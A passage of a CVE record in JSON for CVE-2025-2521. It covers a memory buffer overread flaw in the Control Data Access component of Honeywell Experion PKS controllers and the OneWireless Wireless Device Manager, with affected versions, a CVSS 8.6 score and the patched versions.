"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C300PM",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"Experion PKS"
],
"product": "C200E",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "520.2 TCU9",
"status": "affected",
"version": "520.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "530 TCU3",
"status": "affected",
"version": "530",
"versionType": "semver"
}
]
},
{
"defaultStatus": "unaffected",
"platforms": [
"OneWireless"
],
"product": "Wireless Device Manager",
"vendor": "Honeywell",
"versions": [
{
"lessThanOrEqual": "322.4",
"status": "affected",
"version": "322.1",
"versionType": "semver"
},
{
"lessThanOrEqual": "330.3",
"status": "affected",
"version": "330.1",
"versionType": "semver"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Demid Uzenkov and Kirill Kutaev (Positive Technologies)"
}
],
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cp\u003eThe Honeywell Experion PKS and OneWireless WDM contains a Memory Buffer vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to an Overread Buffers, which could result in improper index validation against buffer borders leading to remote code execution.\u003c/p\u003e\u003cp\u003eHoneywell recommends updating to the most recent version of Honeywell Experion PKS:\n\n520.2 TCU9 HF1 and\u0026nbsp;530.1 TCU3 HF1 and OneWireless:\u0026nbsp;322.5 and 331.1.\u003c/p\u003e\u003cp\u003e\u003cbr\u003eThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3.\u003c/p\u003e"
}
],
"value": "The Honeywell Experion PKS and OneWireless WDM contains a Memory Buffer vulnerability in the component Control Data Access (CDA). An attacker could potentially exploit this vulnerability, leading to an Overread Buffers, which could result in improper index validation against buffer borders leading to remote code execution.\n\nHoneywell recommends updating to the most recent version of Honeywell Experion PKS:\n\n520.2 TCU9 HF1 and\u00a0530.1 TCU3 HF1 and OneWireless:\u00a0322.5 and 331.1.\n\n\nThe affected Experion PKS products are C300 PCNT02, C300 PCNT05, FIM4, FIM8, UOC, CN100, HCA, C300PM, and C200E. The Experion PKS versions affected are from 520.1 through 520.2 TCU9 and from 530 through 530 TCU3.The OneWireless WDM affected versions are 322.1 through 322.4 and 330.1 through 330.3."
}
],
"impacts": [
{
"capecId": "CAPEC-540",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-540 Overread Buffers"
}
]
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.6,
"baseSeverity": "HIGH",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
"version": "3.1"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-119",
"description": "CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2025-08-04T19:44:27.744Z",
"orgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"shortName": "Honeywell"
},
"references": [
{
"url": "https://process.honeywell.com/"
}
],
"source": {
"discovery": "EXTERNAL"
},
"title": "Lack of indexes\u2019 validation against buffer borders leads to remote code execution.",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "0dc86260-d7e3-4e81-ba06-3508e030ce8d",
"assignerShortName": "Honeywell",
"cveId": "CVE-2025-2521",
"datePublished": "2025-07-10T20:08:04.077Z",
"dateReserved": "2025-03-19T13:57:29.165Z",
"dateUpdated": "2025-08-04T19:44:27.744Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}